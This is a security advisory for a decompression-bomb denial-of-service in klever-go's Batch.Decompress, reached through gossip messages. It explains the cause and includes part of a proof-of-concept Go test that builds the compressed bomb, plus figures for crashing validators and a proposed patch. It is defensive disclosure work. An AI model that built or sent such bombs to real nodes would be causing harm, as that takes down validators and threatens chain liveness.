  "details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..)  -\u003e outer Batch (small, cheap)\nb.Decompress(...)              -\u003e UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline).

The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  \u2014 preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) \u003e max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize \u003e maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
